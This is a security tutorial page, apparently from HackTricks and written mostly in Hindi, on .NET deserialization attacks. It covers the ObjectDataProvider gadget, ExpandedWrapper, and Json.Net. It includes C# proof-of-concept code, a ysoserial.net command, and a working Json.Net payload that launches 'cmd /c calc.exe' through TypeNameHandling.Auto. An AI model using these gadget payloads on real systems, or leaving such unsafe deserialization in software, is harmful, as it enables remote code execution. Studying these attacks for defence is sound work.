Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

Support HackTricks

यह पोस्ट यह समझने के लिए समर्पित है कि ObjectDataProvider गैजेट का उपयोग कैसे किया जाता है RCE प्राप्त करने के लिए और कैसे Serialization पुस्तकालयों Json.Net और xmlSerializer का दुरुपयोग किया जा सकता है उस गैजेट के साथ।

ObjectDataProvider Gadget

दस्तावेज़ से: ObjectDataProvider क्लास एक ऑब्जेक्ट को लपेटता है और बनाता है जिसका आप एक बाइंडिंग स्रोत के रूप में उपयोग कर सकते हैं। हाँ, यह एक अजीब व्याख्या है, तो चलो देखते हैं कि इस क्लास में ऐसा क्या है जो इतना दिलचस्प है: यह क्लास एक मनमाना ऑब्जेक्ट लपेटने की अनुमति देती है, MethodParameters का उपयोग करके मनमाने पैरामीटर सेट करने के लिए, और फिर MethodName का उपयोग करके मनमाने ऑब्जेक्ट के मनमाने फ़ंक्शन को कॉल करने के लिए। इसलिए, मनमाना ऑब्जेक्ट डिसेरियलाइज़ करते समय पैरामीटर के साथ एक फ़ंक्शन निष्पादित करेगा।

यह कैसे संभव है

System.Windows.Data नामस्थान, जो PresentationFramework.dll में C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF पर पाया जाता है, वह जगह है जहाँ ObjectDataProvider परिभाषित और कार्यान्वित किया गया है।

dnSpy का उपयोग करके आप उस क्लास का कोड निरीक्षण कर सकते हैं जिसमें हमें रुचि है। नीचे दी गई छवि में हम PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name का कोड देख रहे हैं।

जैसा कि आप देख सकते हैं जब MethodName सेट किया जाता है तो base.Refresh() कॉल किया जाता है, चलो देखते हैं कि यह क्या करता है:

ठीक है, चलो देखते हैं कि this.BeginQuery() क्या करता है। BeginQuery को ObjectDataProvider द्वारा ओवरराइड किया गया है और यह जो करता है वह यह है:

ध्यान दें कि कोड के अंत में this.QueryWorke(null) को कॉल किया जा रहा है। चलो देखते हैं कि यह क्या निष्पादित करता है:

ध्यान दें कि यह QueryWorker फ़ंक्शन का पूरा कोड नहीं है लेकिन यह इसके दिलचस्प हिस्से को दिखाता है: कोड this.InvokeMethodOnInstance(out ex); को कॉल करता है यह वह पंक्ति है जहाँ मेथड सेट को लागू किया जाता है

यदि आप यह जांचना चाहते हैं कि केवल MethodName सेट करने पर यह निष्पादित होगा, तो आप यह कोड चला सकते हैं:

using System.Windows.Data;
using System.Diagnostics;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}

ध्यान दें कि आपको System.Windows.Data को लोड करने के लिए संदर्भ के रूप में C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll जोड़ने की आवश्यकता है।

ExpandedWrapper

पिछले एक्सप्लॉइट का उपयोग करते समय ऐसे मामले होंगे जहाँ object को ObjectDataProvider उदाहरण के रूप में deserialized किया जाएगा (उदाहरण के लिए DotNetNuke vuln में, XmlSerializer का उपयोग करते हुए, object को GetType का उपयोग करके deserialized किया गया था)। फिर, ObjectDataProvider उदाहरण में लिपटे object type के बारे में कोई जानकारी नहीं होगी (उदाहरण के लिए Process)। आप DotNetNuke vuln के बारे में अधिक जानकारी यहाँ पा सकते हैं।

यह क्लास encapsulated वस्तुओं के object types को निर्दिष्ट करने की अनुमति देती है। इसलिए, इस क्लास का उपयोग एक स्रोत वस्तु (ObjectDataProvider) को एक नए object type में लिपटाने के लिए किया जा सकता है और हमें आवश्यक गुण प्रदान कर सकते हैं (ObjectDataProvider.MethodName और ObjectDataProvider.MethodParameters)। यह पहले प्रस्तुत किए गए मामले जैसे मामलों के लिए बहुत उपयोगी है, क्योंकि हम wrap _ObjectDataProvider** को एक **ExpandedWrapper _ उदाहरण के अंदर कर सकेंगे और जब deserialized किया जाएगा तो यह क्लास OjectDataProvider object बनाएगी जो MethodName में निर्दिष्ट function को execute करेगी।

आप निम्नलिखित कोड के साथ इस wrapper की जांच कर सकते हैं:

using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}

Json.Net

आधिकारिक वेब पृष्ठ में यह संकेत दिया गया है कि यह पुस्तकालय Json.NET के शक्तिशाली JSON सीरियलाइज़र के साथ किसी भी .NET ऑब्जेक्ट को सीरियलाइज़ और डीसिरियलाइज़ करने की अनुमति देता है। इसलिए, यदि हम ObjectDataProvider गैजेट को डीसिरियलाइज़ कर सकें, तो हम केवल एक ऑब्जेक्ट को डीसिरियलाइज़ करके RCE का कारण बन सकते हैं।

Json.Net उदाहरण

सबसे पहले, आइए देखें कि इस पुस्तकालय का उपयोग करके एक ऑब्जेक्ट को सीरियलाइज़/डीसिरियलाइज़ करने का एक उदाहरण:

using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;

namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}

//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}

Abusing Json.Net

Using ysoserial.net मैंने एक्सप्लॉइट बनाया:

ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

इस कोड में आप शोषण का परीक्षण कर सकते हैं, बस इसे चलाएँ और आप देखेंगे कि एक कैलकुलेटर निष्पादित होता है:

using System;
using System.Text;
using Newtonsoft.Json;

namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
HackTricks का समर्थन करें

Last updated